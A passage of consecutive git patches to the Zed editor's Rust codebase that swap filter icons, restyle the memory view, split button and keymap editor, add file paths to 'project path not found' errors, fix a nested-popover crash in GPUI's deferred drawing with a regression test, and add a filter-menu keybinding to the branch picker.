-                                            &ToggleExpandItem,
-                                            &focus_handle,
-                                            cx,
-                                        )
-                                    }
-                                }),
-                            )
-                    })
-                    .into_any_element()
-            }
+            move |pane, window, cx| render_debugger_tab_bar(pane, &focus_handle, window, cx)
         });
         pane
     })
diff --git a/crates/debugger_ui/src/session/running/memory_view.rs b/crates/debugger_ui/src/session/running/memory_view.rs
index a344a92eadd826..90fd5964d00a6a 100644
--- a/crates/debugger_ui/src/session/running/memory_view.rs
+++ b/crates/debugger_ui/src/session/running/memory_view.rs
@@ -19,8 +19,8 @@ use project::debugger::{MemoryCell, dap_command::DataBreakpointContext, session:
 use settings::Settings;
 use theme_settings::ThemeSettings;
 use ui::{
-    ContextMenu, Divider, DropdownMenu, FluentBuilder, IntoElement, PopoverMenuHandle, Render,
-    ScrollableHandle, StatefulInteractiveElement, Tooltip, WithScrollbar, prelude::*,
+    ContextMenu, Divider, DropdownMenu, PopoverMenuHandle, ScrollableHandle,
+    StatefulInteractiveElement, Tooltip, WithScrollbar, prelude::*,
 };
 use workspace::Workspace;
 
@@ -368,7 +368,9 @@ impl MemoryView {
                 this
             }),
         )
+        .style(ui::DropdownStyle::Outlined)
         .handle(self.width_picker_handle.clone())
+        .attach(gpui::Anchor::BottomLeft)
     }
 
     fn page_down(&mut self, _: &menu::SelectLast, _: &mut Window, cx: &mut Context<Self>) {
@@ -846,19 +848,16 @@ fn render_single_memory_view_line(
 }
 
 impl Render for MemoryView {
-    fn render(
-        &mut self,
-        window: &mut ui::Window,
-        cx: &mut ui::Context<Self>,
-    ) -> impl ui::IntoElement {
+    fn render(&mut self, window: &mut ui::Window, cx: &mut ui::Context<Self>) -> impl IntoElement {
         let (icon, tooltip_text) = if self.is_writing_memory {
-            (IconName::Pencil, "Edit memory at a selected address")
+            (IconName::Pencil, "Edit Memory at a Selected Address")
         } else {
             (
                 IconName::LocationEdit,
-                "Change address of currently viewed memory",
+                "Change Address of Currently Viewed Memory",
             )
         };
+
         v_flex()
             .id("Memory-view")
             .on_action(cx.listener(Self::cancel))
@@ -873,31 +872,31 @@ impl Render for MemoryView {
             .child(
                 h_flex()
                     .w_full()
-                    .mb_0p5()
+                    .mb_1()
                     .gap_1()
                     .child(
                         h_flex()
+                            .px_1()
+                            .h_6()
                             .w_full()
-                            .rounded_md()
+                            .rounded_sm()
+                            .gap_1()
                             .border_1()
-                            .gap_x_2()
-                            .px_2()
-                            .py_0p5()
-                            .mb_0p5()
-                            .bg(cx.theme().colors().editor_background)
                             .when_else(
                                 self.query_editor
                                     .focus_handle(cx)
                                     .contains_focused(window, cx),
                                 |this| this.border_color(cx.theme().colors().border_focused),
-                                |this| this.border_color(cx.theme().colors().border_transparent),
+                                |this| this.border_color(cx.theme().colors().border_variant),
                             )
+                            .bg(cx.theme().colors().editor_background)
                             .child(
                                 div()
                                     .id("memory-view-editor-icon")
                                     .child(Icon::new(icon).size(ui::IconSize::XSmall))
                                     .tooltip(Tooltip::text(tooltip_text)),
                             )
+                            .child(Divider::vertical())
                             .child(self.render_query_bar(cx)),
                     )
                     .child(self.render_width_picker(window, cx)),
diff --git a/crates/debugger_ui/src/session/running/stack_frame_list.rs b/crates/debugger_ui/src/session/running/stack_frame_list.rs
index 982fc0f8567bc1..ea8192ebb80a34 100644
--- a/crates/debugger_ui/src/session/running/stack_frame_list.rs
+++ b/crates/debugger_ui/src/session/running/stack_frame_list.rs
@@ -911,7 +911,7 @@ impl StackFrameList {
             .child(
                 IconButton::new(
                     "filter-by-visible-worktree-stack-frame-list",
-                    IconName::ListFilter,
+                    IconName::Filter,
                 )
                 .tooltip(move |_window, cx| {
                     Tooltip::for_action(tooltip_title, &ToggleUserFrames, cx)
diff --git a/crates/git_ui/src/branch_picker.rs b/crates/git_ui/src/branch_picker.rs
index 9cc86df9a73ad3..94b5a2e49ecd48 100644
--- a/crates/git_ui/src/branch_picker.rs
+++ b/crates/git_ui/src/branch_picker.rs
@@ -1252,7 +1252,7 @@ impl PickerDelegate for BranchListDelegate {
                                             .log_err();
                                     }))
                                     .trigger(
-                                        IconButton::new("branch-filter", IconName::ListFilter)
+                                        IconButton::new("branch-filter", IconName::Filter)
                                             .toggle_state(branch_filter != BranchFilter::All)
                                             .when(branch_filter != BranchFilter::All, |this| {
                                                 this.indicator(Indicator::dot().color(Color::Info))
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 53dbe3e74bc88e..85465f98cb4961 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -5091,7 +5091,7 @@ impl GitPanel {
 
         PopoverMenu::new(id.into())
             .trigger_with_tooltip(
-                IconButton::new("view-options-menu-trigger", IconName::Sliders)
+                IconButton::new("view-options-menu-trigger", IconName::Filter)
                     .icon_size(IconSize::Small),
                 Tooltip::text("View Options"),
             )
diff --git a/crates/gpui/src/elements/div.rs b/crates/gpui/src/elements/div.rs
index e0c5e623ab5190..5633371f5b2285 100644
--- a/crates/gpui/src/elements/div.rs
+++ b/crates/gpui/src/elements/div.rs
@@ -2223,6 +2223,7 @@ impl Interactivity {
             || self.has_pinch_listeners()
             || self.drag_listener.is_some()
             || !self.drop_listeners.is_empty()
+            || !self.drag_over_styles.is_empty()
             || self.tooltip_builder.is_some()
             || window.is_inspector_picking(cx)
     }
diff --git a/crates/icons/src/icons.rs b/crates/icons/src/icons.rs
index 3f015608b39cb4..6a94f8c7b46c7e 100644
--- a/crates/icons/src/icons.rs
+++ b/crates/icons/src/icons.rs
@@ -180,7 +180,6 @@ pub enum IconName {
     Link,
     Linux,
     ListCollapse,
-    ListFilter,
     ListTodo,
     ListTree,
     ListX,
@@ -196,6 +195,7 @@ pub enum IconName {
     MicMute,
     Minimize,
     Notepad,
+    OnCall,
     Option,
     PageDown,
     PageUp,
@@ -236,7 +236,6 @@ pub enum IconName {
     SignalLow,
     SignalMedium,
     Slash,
-    Sliders,
     Sourcehut,
     Space,
     Sparkle,
diff --git a/crates/keymap_editor/src/keymap_editor.rs b/crates/keymap_editor/src/keymap_editor.rs
index db40513599475e..44d53453ba5f61 100644
--- a/crates/keymap_editor/src/keymap_editor.rs
+++ b/crates/keymap_editor/src/keymap_editor.rs
@@ -1678,7 +1678,7 @@ impl KeymapEditor {
                 y: px(2.0),
             })
             .trigger_with_tooltip(
-                IconButton::new("KeymapEditorFilterMenuButton", IconName::Sliders)
+                IconButton::new("KeymapEditorFilterMenuButton", IconName::Filter)
                     .icon_size(IconSize::Small)
                     .when(
                         self.keybinding_conflict_state.any_user_binding_conflicts(),
@@ -1701,7 +1701,7 @@ impl KeymapEditor {
                 menu.toggleable_entry(
                     name,
                     toggled,
-                    IconPosition::End,
+                    IconPosition::Start,
                     action.as_ref().map(|a| a.boxed_clone()),
                     move |window, cx| {
                         window.focus(&focus_handle, cx);
@@ -2018,7 +2018,6 @@ impl Render for KeymapEditor {
                     .child(
                         h_flex()
                             .gap_2()
-                            .items_center()
                             .child(
                                 h_flex()
                                     .key_context({
@@ -2029,9 +2028,7 @@ impl Render for KeymapEditor {
                                     .flex_1()
                                     .min_w_0()
                                     .h_8()
-                                    .pl_2()
-                                    .pr_1()
-                                    .py_1()
+                                    .px_2()
                                     .border_1()
                                     .border_color(theme.colors().border)
                                     .rounded_md()
@@ -2041,7 +2038,9 @@ impl Render for KeymapEditor {
                                 h_flex()
                                     .gap_1()
                                     .flex_none()
-                                    .items_center()
+                                    // Make sure this min-width value aligns with the spacer
+                                    // div in the keystroke search input
+                                    .min_w_80()
                                     .child(
                                         IconButton::new(
                                             "KeymapEditorKeystrokeSearchButton",
@@ -2075,7 +2074,6 @@ impl Render for KeymapEditor {
                                     )
                                     .child(
                                         Button::new("edit-in-json", "Edit in JSON")
-                                            .style(ButtonStyle::Subtle)
                                             .key_binding(
                                                 ui::KeyBinding::for_action_in(&zed_actions::OpenKeymapFile, &focus_handle, cx)
                                                     .map(|kb| kb.size(rems_from_px(10.))),
@@ -2110,7 +2108,7 @@ impl Render for KeymapEditor {
                                 h_flex()
                                     .gap_2()
                                     .child(self.keystroke_editor.clone())
-                                    .child(div().min_w_96()), // Spacer div to align with the search input
+                                    .child(div().min_w_80()), // Spacer div to align with the search input
                             )
                         },
                     ),
diff --git a/crates/language_tools/src/highlights_tree_view.rs b/crates/language_tools/src/highlights_tree_view.rs
index 1b58e830153ea5..e63f6e3051cedf 100644
--- a/crates/language_tools/src/highlights_tree_view.rs
+++ b/crates/language_tools/src/highlights_tree_view.rs
@@ -14,10 +14,9 @@ use std::{mem, ops::Range, sync::Arc, time::Duration};
 use theme::ActiveTheme;
 use theme::SyntaxTheme;
 use ui::{
-    ButtonCommon, ButtonLike, ButtonStyle, Color, ContextMenu, FluentBuilder as _, IconButton,
-    IconName, IconPosition, IconSize, Label, LabelCommon, LabelSize, PopoverMenu,
-    PopoverMenuHandle, StyledExt, Toggleable, Tooltip, WithScrollbar, h_flex, v_flex,
+    ButtonLike, ContextMenu, PopoverMenu, PopoverMenuHandle, Tooltip, WithScrollbar, prelude::*,
 };
+
 use workspace::{
     Event as WorkspaceEvent, SplitDirection, ToolbarItemEvent, ToolbarItemLocation,
     ToolbarItemView, Workspace,
@@ -983,9 +982,8 @@ impl HighlightsTreeToolbarItemView {
 
         PopoverMenu::new("highlights-tree-settings")
             .trigger_with_tooltip(
-                IconButton::new("toggle-highlights-settings-icon", IconName::Sliders)
+                IconButton::new("toggle-highlights-settings-icon", IconName::Filter)
                     .icon_size(IconSize::Small)
-                    .style(ButtonStyle::Subtle)
                     .toggle_state(self.toggle_settings_handle.is_deployed()),
                 Tooltip::text("Highlights Settings"),
             )
diff --git a/crates/ui/src/components/button/split_button.rs b/crates/ui/src/components/button/split_button.rs
index 315bbc95f12c20..0173474690d4b3 100644
--- a/crates/ui/src/components/button/split_button.rs
+++ b/crates/ui/src/components/button/split_button.rs
@@ -68,12 +68,12 @@ impl RenderOnce for SplitButton {
             SplitButtonStyle::Filled | SplitButtonStyle::Outlined
         );
 
+        let outline = BoxShadow::new(px(0.), px(0.), cx.theme().colors().border.opacity(0.8))
+            .spread_radius(px(1.))
+            .inset();
+
         h_flex()
-            .when(is_filled_or_outlined, |this| {
-                this.rounded_sm()
-                    .border_1()
-                    .border_color(cx.theme().colors().border.opacity(0.8))
-            })
+            .when(is_filled_or_outlined, |this| this.relative().rounded_sm())
             .when(self.style == SplitButtonStyle::Transparent, |this| {
                 this.gap_px()
             })
@@ -81,14 +81,19 @@ impl RenderOnce for SplitButton {
                 SplitButtonKind::ButtonLike(button) => button.into_any_element(),
                 SplitButtonKind::IconButton(icon) => icon.into_any_element(),
             }))
-            .child(Divider::vertical().map(|s| {
-                if self.style == SplitButtonStyle::Filled {
-                    s.h_full().color(crate::DividerColor::Border)
-                } else {
-                    s.h_4()
-                }
+            .child(Divider::vertical().when(is_filled_or_outlined, |s| {
+                s.h_full().color(crate::DividerColor::Border)
             }))
             .child(self.right)
+            .when(is_filled_or_outlined, |this| {
+                this.child(
+                    div()
+                        .absolute()
+                        .inset_0()
+                        .rounded_sm()
+                        .shadow(vec![outline]),
+                )
+            })
             .when(self.style == SplitButtonStyle::Filled, |this| {
                 this.bg(ElevationIndex::Surface.on_elevation_bg(cx))
                     .shadow(vec![BoxShadow::new(
diff --git a/crates/zed/src/zed/quick_action_bar.rs b/crates/zed/src/zed/quick_action_bar.rs
index d1ffb58b79244c..bfd03a3edf95af 100644
--- a/crates/zed/src/zed/quick_action_bar.rs
+++ b/crates/zed/src/zed/quick_action_bar.rs
@@ -327,9 +327,8 @@ impl Render for QuickActionBar {
 
             PopoverMenu::new("editor-settings")
                 .trigger_with_tooltip(
-                    IconButton::new("toggle_editor_settings_icon", IconName::Sliders)
+                    IconButton::new("toggle_editor_settings_icon", IconName::Filter)
                         .icon_size(IconSize::Small)
-                        .style(ButtonStyle::Subtle)
                         .toggle_state(self.toggle_settings_handle.is_deployed()),
                     Tooltip::text("Editor Controls"),
                 )

From 7cf50a771f54427f76b4584030c7b3b66f4e39f5 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Tue, 14 Jul 2026 13:09:31 +0300
Subject: [PATCH 439/772] Add more context (#60913)

Started an old Zed version with old db entry which resulted in 0 agent
panel working, only showing me there and in logs "project path not
found".

Fixed by removing the corresponding `db` subdirectory, but decided to
make the log entries a bit more useful.

Release Notes:

- N/A
---
 crates/agent_ui/src/mention_set.rs                 | 14 ++++++++++----
 crates/agent_ui/src/message_editor.rs              |  6 +++++-
 .../src/session/running/stack_frame_list.rs        |  5 ++++-
 crates/editor/src/edit_prediction.rs               | 11 +++++++----
 4 files changed, 26 insertions(+), 10 deletions(-)

diff --git a/crates/agent_ui/src/mention_set.rs b/crates/agent_ui/src/mention_set.rs
index 506c68cc0801b3..78579c8046202c 100644
--- a/crates/agent_ui/src/mention_set.rs
+++ b/crates/agent_ui/src/mention_set.rs
@@ -263,7 +263,7 @@ impl MentionSet {
                 .read(cx)
                 .project_path_for_absolute_path(&abs_path, cx)
             else {
-                log::error!("project path not found");
+                log::error!("project path not found for image mention {abs_path:?}");
                 return Task::ready(());
             };
             let image_task = project.update(cx, |project, cx| project.open_image(project_path, cx));
@@ -395,7 +395,9 @@ impl MentionSet {
             .read(cx)
             .project_path_for_absolute_path(&abs_path, cx)
         else {
-            return Task::ready(Err(anyhow!("project path not found")));
+            return Task::ready(Err(anyhow!(
+                "project path not found for file mention {abs_path:?}"
+            )));
         };
 
         if is_raster_image_path(&abs_path) {
@@ -465,7 +467,9 @@ impl MentionSet {
             .read(cx)
             .project_path_for_absolute_path(&abs_path, cx)
         else {
-            return Task::ready(Err(anyhow!("project path not found")));
+            return Task::ready(Err(anyhow!(
+                "project path not found for symbol mention {abs_path:?}"
+            )));
         };
         let buffer = project.update(cx, |project, cx| project.open_buffer(project_path, cx));
         cx.spawn(async move |_, cx| {
@@ -1222,7 +1226,9 @@ fn full_mention_for_directory(
         .read(cx)
         .project_path_for_absolute_path(&abs_path, cx)
     else {
-        return Task::ready(Err(anyhow!("project path not found")));
+        return Task::ready(Err(anyhow!(
+            "project path not found for directory mention {abs_path:?}"
+        )));
     };
     let Some(entry) = project.read(cx).entry_for_path(&project_path, cx) else {
         return Task::ready(Err(anyhow!("project entry not found")));
diff --git a/crates/agent_ui/src/message_editor.rs b/crates/agent_ui/src/message_editor.rs
index f9878d6c5adff5..e80c8274599591 100644
--- a/crates/agent_ui/src/message_editor.rs
+++ b/crates/agent_ui/src/message_editor.rs
@@ -1164,7 +1164,11 @@ impl MessageEditor {
                                     .update(cx, |project, cx| {
                                         project.project_path_for_absolute_path(&file_path, cx)
                                     })
-                                    .ok_or_else(|| "project path not found".to_string())?;
+                                    .ok_or_else(|| {
+                                        format!(
+                                            "project path not found for pasted selection {file_path:?}"
+                                        )
+                                    })?;
 
                                 let buffer = project
                                     .update(cx, |project, cx| project.open_buffer(project_path, cx))
diff --git a/crates/debugger_ui/src/session/running/stack_frame_list.rs b/crates/debugger_ui/src/session/running/stack_frame_list.rs
index ea8192ebb80a34..738a44df7d0595 100644
--- a/crates/debugger_ui/src/session/running/stack_frame_list.rs
+++ b/crates/debugger_ui/src/session/running/stack_frame_list.rs
@@ -395,7 +395,10 @@ impl StackFrameList {
         let stack_frame_id = stack_frame.id;
         self.opened_stack_frame_id = Some(stack_frame_id);
         let Some(abs_path) = Self::abs_path_from_stack_frame(&stack_frame) else {
-            return Task::ready(Err(anyhow!("Project path not found")));
+            return Task::ready(Err(anyhow!(
+                "no absolute source path in stack frame {stack_frame_id}, source: {:?}",
+                stack_frame.source
+            )));
         };
         let row = stack_frame.line.saturating_sub(1) as u32;
         cx.emit(StackFrameListEvent::SelectedStackFrameChanged(
diff --git a/crates/editor/src/edit_prediction.rs b/crates/editor/src/edit_prediction.rs
index 5d110eb3ce12dc..dd57f5cb1d6c0a 100644
--- a/crates/editor/src/edit_prediction.rs
+++ b/crates/editor/src/edit_prediction.rs
@@ -1660,13 +1660,16 @@ impl Editor {
     ) -> Task<Result<()>> {
         workspace.update(cx, |workspace, cx| {
             let path = snapshot.file().map(|file| file.full_path(cx));
-            let Some(path) =
-                path.and_then(|path| workspace.project().read(cx).find_project_path(path, cx))
+            let Some(project_path) = path
+                .as_ref()
+                .and_then(|path| workspace.project().read(cx).find_project_path(path, cx))
             else {
-                return Task::ready(Err(anyhow::anyhow!("Project path not found")));
+                return Task::ready(Err(anyhow::anyhow!(
+                    "project path not found for edit prediction target {path:?}"
+                )));
             };
             let target = text::ToPoint::to_point(&target, snapshot);
-            let item = workspace.open_path(path, None, true, window, cx);
+            let item = workspace.open_path(project_path, None, true, window, cx);
             window.spawn(cx, async move |cx| {
                 let Some(editor) = item.await?.downcast::<Editor>() else {
                     return Ok(());

From 5e982c6bdc315a6d2bb68b3edefae00ceedd35f4 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Tue, 14 Jul 2026 08:11:27 -0300
Subject: [PATCH 440/772] gpui: Fix crash when opening a popover from inside
 another popover (#60926)

Opening a popover from inside another popover (e.g. the branch picker's
new filter menu, when the picker is hosted in the git panel or title
bar) corrupted the frame-caching bookkeeping for whichever cached view
contained them. The corruption was invisible until a later, unrelated
redraw reused that view's cached subtree, at which point the window
crashed (debug) or could misroute input events (release). Fixed by
processing deferred draws in place so their recorded positions remain
valid across frames; added a regression test reproducing the crash via a
cached panel hosting nested popovers.

Release Notes:

- Fixed the branch picker menu in the Git Panel, which was previously
broken due to popovers-within-popovers not being possible in GPUI.
---
 crates/gpui/src/elements/deferred.rs | 110 +++++++++++++++++++++++++++
 crates/gpui/src/window.rs            |  81 +++++++++++---------
 2 files changed, 155 insertions(+), 36 deletions(-)

diff --git a/crates/gpui/src/elements/deferred.rs b/crates/gpui/src/elements/deferred.rs
index 25245fa4b6ea70..ddf324a6b26b86 100644
--- a/crates/gpui/src/elements/deferred.rs
+++ b/crates/gpui/src/elements/deferred.rs
@@ -94,3 +94,113 @@ impl Deferred {
         self
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use crate::{
+        Context, Entity, StyleRefinement, TestAppContext, Window, anchored, deferred, div, point,
+        prelude::*, px, size,
+    };
+
+    /// A stand-in for a dock panel hosting a popover (deferred draw) whose
+    /// content opens another popover (a deferred draw created while
+    /// prepainting the first one's content).
+    struct PanelView;
+
+    impl Render for PanelView {
+        fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+            div().key_context("Panel").size_full().child(
+                deferred(
+                    anchored().position(point(px(10.), px(10.))).child(
+                        div().key_context("Popover").w(px(200.)).h(px(200.)).child(
+                            deferred(
+                                anchored().position(point(px(30.), px(30.))).child(
+                                    div()
+                                        .key_context("NestedMenu")
+                                        .debug_selector(|| "NESTED_MENU".into())
+                                        .w(px(50.))
+                                        .h(px(50.)),
+                                ),
+                            )
+                            .with_priority(2),
+                        ),
+                    ),
+                )
+                .with_priority(1),
+            )
+        }
+    }
+
+    struct RootView {
+        panel: Entity<PanelView>,
+    }
+
+    impl Render for RootView {
+        fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+            div().key_context("Root").size_full().child(
+                self.panel
+                    .clone()
+                    .cached(StyleRefinement::default().size_full()),
+            )
+        }
+    }
+
+    /// Regression test for a crash with nested deferred draws (e.g. a popover
+    /// menu inside a popover hosted by a cached dock panel). Prepaint indices
+    /// recorded during the deferred draw rounds must index the same
+    /// `deferred_draws` vector that `reuse_prepaint` slices on the next frame;
+    /// previously they were measured against a transient per-round vector, so
+    /// reusing the panel's subtree grafted the wrong deferred draws and
+    /// panicked in the dispatch tree.
+    #[gpui::test]
+    fn test_nested_deferred_draws_with_reused_views(cx: &mut TestAppContext) {
+        let window = cx.open_window(size(px(800.), px(600.)), |_, cx| {
+            let panel = cx.new(|_| PanelView);
+            RootView { panel }
+        });
+        cx.run_until_parked();
+
+        let menu_bounds = window
+            .update(cx, |_, window, _| {
+                window
+                    .rendered_frame
+                    .debug_bounds
+                    .get("NESTED_MENU")
+                    .copied()
+            })
+            .unwrap()
+            .expect("NESTED_MENU debug bounds not found");
+        assert_eq!(menu_bounds.size, size(px(50.), px(50.)));
+
+        // Re-render only the root view; the panel is cached, so its subtree -
+        // including both deferred draw records - is reused from the previous
+        // frame.
+        window.update(cx, |_, _, cx| cx.notify()).unwrap();
+        cx.run_until_parked();
+
+        // Reuse the subtree a second time, exercising ranges that were
+        // themselves recorded during a reused frame.
+        window.update(cx, |_, _, cx| cx.notify()).unwrap();
+        cx.run_until_parked();
+
+        // Re-render the panel itself again to prove the popovers still draw.
+        window
+            .update(cx, |root, _, cx| {
+                root.panel.update(cx, |_, cx| cx.notify());
+            })
+            .unwrap();
+        cx.run_until_parked();
+
+        window
+            .update(cx, |_, window, _| {
+                assert_eq!(window.rendered_frame.deferred_draws.len(), 2);
+                assert!(
+                    window
+                        .rendered_frame
+                        .debug_bounds
+                        .contains_key("NESTED_MENU")
+                );
+            })
+            .unwrap();
+    }
+}
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 1a5b018f5aa554..4c4d039acec5fd 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -2988,62 +2988,71 @@ impl Window {
     fn prepaint_deferred_draws(&mut self, cx: &mut App) {
         assert_eq!(self.element_id_stack.len(), 0);
 
-        let mut completed_draws = Vec::new();
-
         // Process deferred draws in multiple rounds to support nesting.
-        // Each round processes all current deferred draws, which may produce new ones.
+        // Each round processes all current deferred draws, which may push new ones.
+        //
+        // The draws are processed in place rather than being moved out of
+        // `next_frame.deferred_draws`: `prepaint_index` snapshots that vector's
+        // length, so any prepaint range recorded during a round (view caches,
+        // nested deferred draws) must index the same vector `reuse_prepaint`
+        // slices on the next frame. Moving the draws out and re-appending them
+        // shifts the indices of nested draws, causing reused subtrees to graft
+        // the wrong deferred draws and panic in the dispatch tree.
+        let mut round_start = 0;
         let mut depth = 0;
         loop {
+            let round_end = self.next_frame.deferred_draws.len();
+            if round_start == round_end {
+                break;
+            }
             // Limit maximum nesting depth to prevent infinite loops.
             assert!(depth < 10, "Exceeded maximum (10) deferred depth");
             depth += 1;
-            let deferred_count = self.next_frame.deferred_draws.len();
-            if deferred_count == 0 {
-                break;
-            }
 
-            // Sort by priority for this round
-            let traversal_order = self.deferred_draw_traversal_order();
-            let mut deferred_draws = mem::take(&mut self.next_frame.deferred_draws);
+            // Sort this round by priority.
+            let mut traversal_order = (round_start..round_end).collect::<SmallVec<[usize; 8]>>();
+            traversal_order.sort_by_key(|ix| self.next_frame.deferred_draws[*ix].priority);
 
             for deferred_draw_ix in traversal_order {
-                let deferred_draw = &mut deferred_draws[deferred_draw_ix];
-                self.element_id_stack
-                    .clone_from(&deferred_draw.element_id_stack);
-                self.text_style_stack
-                    .clone_from(&deferred_draw.text_style_stack);
-                self.next_frame
-                    .dispatch_tree
-                    .set_active_node(deferred_draw.parent_node);
+                let (element, parent_node, current_view, rem_size, absolute_offset, prepaint_range) = {
+                    let deferred_draw = &mut self.next_frame.deferred_draws[deferred_draw_ix];
+                    self.element_id_stack
+                        .clone_from(&deferred_draw.element_id_stack);
+                    self.text_style_stack
+                        .clone_from(&deferred_draw.text_style_stack);
+                    (
+                        deferred_draw.element.take(),
+                        deferred_draw.parent_node,
+                        deferred_draw.current_view,
+                        deferred_draw.rem_size,
+                        deferred_draw.absolute_offset,
+                        deferred_draw.prepaint_range.clone(),
+                    )
+                };
+                self.next_frame.dispatch_tree.set_active_node(parent_node);
 
                 let prepaint_start = self.prepaint_index();
-                if let Some(element) = deferred_draw.element.as_mut() {
-                    self.with_rendered_view(deferred_draw.current_view, |window| {
-                        window.with_rem_size(Some(deferred_draw.rem_size), |window| {
-                            window.with_absolute_element_offset(
-                                deferred_draw.absolute_offset,
-                                |window| {
-                                    element.prepaint(window, cx);
-                                },
-                            );
+                if let Some(mut element) = element {
+                    self.with_rendered_view(current_view, |window| {
+                        window.with_rem_size(Some(rem_size), |window| {
+                            window.with_absolute_element_offset(absolute_offset, |window| {
+                                element.prepaint(window, cx);
+                            });
                         });
-                    })
+                    });
+                    self.next_frame.deferred_draws[deferred_draw_ix].element = Some(element);
                 } else {
-                    self.reuse_prepaint(deferred_draw.prepaint_range.clone());
+                    self.reuse_prepaint(prepaint_range);
                 }
                 let prepaint_end = self.prepaint_index();
-                deferred_draw.prepaint_range = prepaint_start..prepaint_end;
+                self.next_frame.deferred_draws[deferred_draw_ix].prepaint_range =
+                    prepaint_start..prepaint_end;
             }
 
-            // Save completed draws and continue with newly added ones
-            completed_draws.append(&mut deferred_draws);
-
             self.element_id_stack.clear();
             self.text_style_stack.clear();
+            round_start = round_end;
         }
-
-        // Restore all completed draws
-        self.next_frame.deferred_draws = completed_draws;
     }
 
     fn paint_deferred_draws(&mut self, cx: &mut App) {

From a04a47e1ef386523ddf0f8ac05a9fc917e36bc77 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Tue, 14 Jul 2026 08:11:55 -0300
Subject: [PATCH 441/772] branch_picker: Add design improvements (#60925)

This PR adds a series of design improvements to the branch picker,
including:

- Consistent icon used for filter actions
- A keybinding/action to trigger the filter menu with the keyboard
- Filter menu positioning depending on the picker's editor position
- Error display that displays the full label without truncation/tooltip,
and is placed accordingly also depending on the picker's editor position
- List subheader in the search list depending on filtered option

Here's a quick video:


https://github.com/user-attachments/assets/70922daf-fc9f-4d94-bed8-c84d3ea73534

- - -

Release Notes:

- N/A
---
 assets/keymaps/default-linux.json   |   1 +
 assets/keymaps/default-macos.json   |   3 +-
 assets/keymaps/default-windows.json |   1 +
 crates/git_ui/src/branch_picker.rs  | 334 ++++++++++++++--------------
 crates/picker/src/render.rs         |   8 +-
 5 files changed, 170 insertions(+), 177 deletions(-)

diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index 83212d3f061c4e..bb7679ab06b50d 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -1534,6 +1534,7 @@
       "ctrl-shift-backspace": "branch_picker::DeleteBranch",
       "ctrl-alt-shift-backspace": "branch_picker::ForceDeleteBranch",
       "ctrl-shift-i": "branch_picker::CycleBranchFilter",
+      "ctrl-k": "branch_picker::ToggleFilterMenu",
     },
   },
   {
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index 95eacd8f8c4535..ad8d80e1629655 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -644,7 +644,7 @@
     "use_key_equivalents": true,
     "bindings": {
       "cmd-k v": "markdown::OpenPreviewToTheSide",
-      "cmd-shift-v": "markdown::OpenPreview"
+      "cmd-shift-v": "markdown::OpenPreview",
     },
   },
   {
@@ -1588,6 +1588,7 @@
       "cmd-shift-backspace": "branch_picker::DeleteBranch",
       "cmd-alt-shift-backspace": "branch_picker::ForceDeleteBranch",
       "cmd-shift-i": "branch_picker::CycleBranchFilter",
+      "cmd-k": "branch_picker::ToggleFilterMenu",
     },
   },
   {
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index a000c2506a9a96..3aed4904de41e0 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -1513,6 +1513,7 @@
       "ctrl-shift-backspace": "branch_picker::DeleteBranch",
       "ctrl-alt-shift-backspace": "branch_picker::ForceDeleteBranch",
       "ctrl-shift-i": "branch_picker::CycleBranchFilter",
+      "ctrl-k": "branch_picker::ToggleFilterMenu",
     },
   },
   {
diff --git a/crates/git_ui/src/branch_picker.rs b/crates/git_ui/src/branch_picker.rs
index 94b5a2e49ecd48..698bbc97fc397b 100644
--- a/crates/git_ui/src/branch_picker.rs
+++ b/crates/git_ui/src/branch_picker.rs
@@ -14,12 +14,12 @@ use picker::{Picker, PickerDelegate, PickerEditorPosition};
 use project::git_store::{Repository, RepositoryEvent};
 use project::project_settings::ProjectSettings;
 use settings::Settings;
-use std::rc::Rc;
+
 use std::sync::Arc;
 use time::OffsetDateTime;
 use ui::{
-    Banner, ContextMenu, ContextMenuEntry, Divider, HighlightedLabel, Indicator, KeyBinding,
-    ListItem, ListItemSpacing, PopoverMenu, PopoverMenuHandle, Severity, Tooltip, prelude::*,
+    Banner, ContextMenu, Divider, HighlightedLabel, Indicator, KeyBinding, ListItem,
+    ListItemSpacing, ListSubHeader, PopoverMenu, PopoverMenuHandle, Severity, Tooltip, prelude::*,
 };
 use ui_input::ErasedEditor;
 use util::ResultExt;
@@ -42,7 +42,9 @@ actions!(
         /// Show only remote branches.
         ShowRemoteBranches,
         /// Cycle through branch filters.
-        CycleBranchFilter
+        CycleBranchFilter,
+        /// Toggles the branch filter menu.
+        ToggleFilterMenu
     ]
 );
 
@@ -446,7 +448,11 @@ impl BranchList {
     }
 
     pub(crate) fn branch_filter_menu_open(&self, cx: &App) -> bool {
-        self.picker.read(cx).delegate.branch_filter_menu_open
+        self.picker
+            .read(cx)
+            .delegate
+            .branch_filter_menu_handle
+            .is_deployed()
     }
 
     pub(crate) fn cycle_branch_filter(&mut self, window: &mut Window, cx: &mut Context<Self>) {
@@ -490,13 +496,24 @@ impl Render for BranchList {
                     this.cycle_branch_filter(window, cx);
                 }),
             )
+            .on_action(
+                cx.listener(|this, _: &branch_picker::ToggleFilterMenu, window, cx| {
+                    let menu_handle = this
+                        .picker
+                        .read(cx)
+                        .delegate
+                        .branch_filter_menu_handle
+                        .clone();
+                    menu_handle.toggle(window, cx);
+                }),
+            )
             .child(self.picker.clone())
             .when(!self.embedded, |this| {
                 this.on_mouse_down_out({
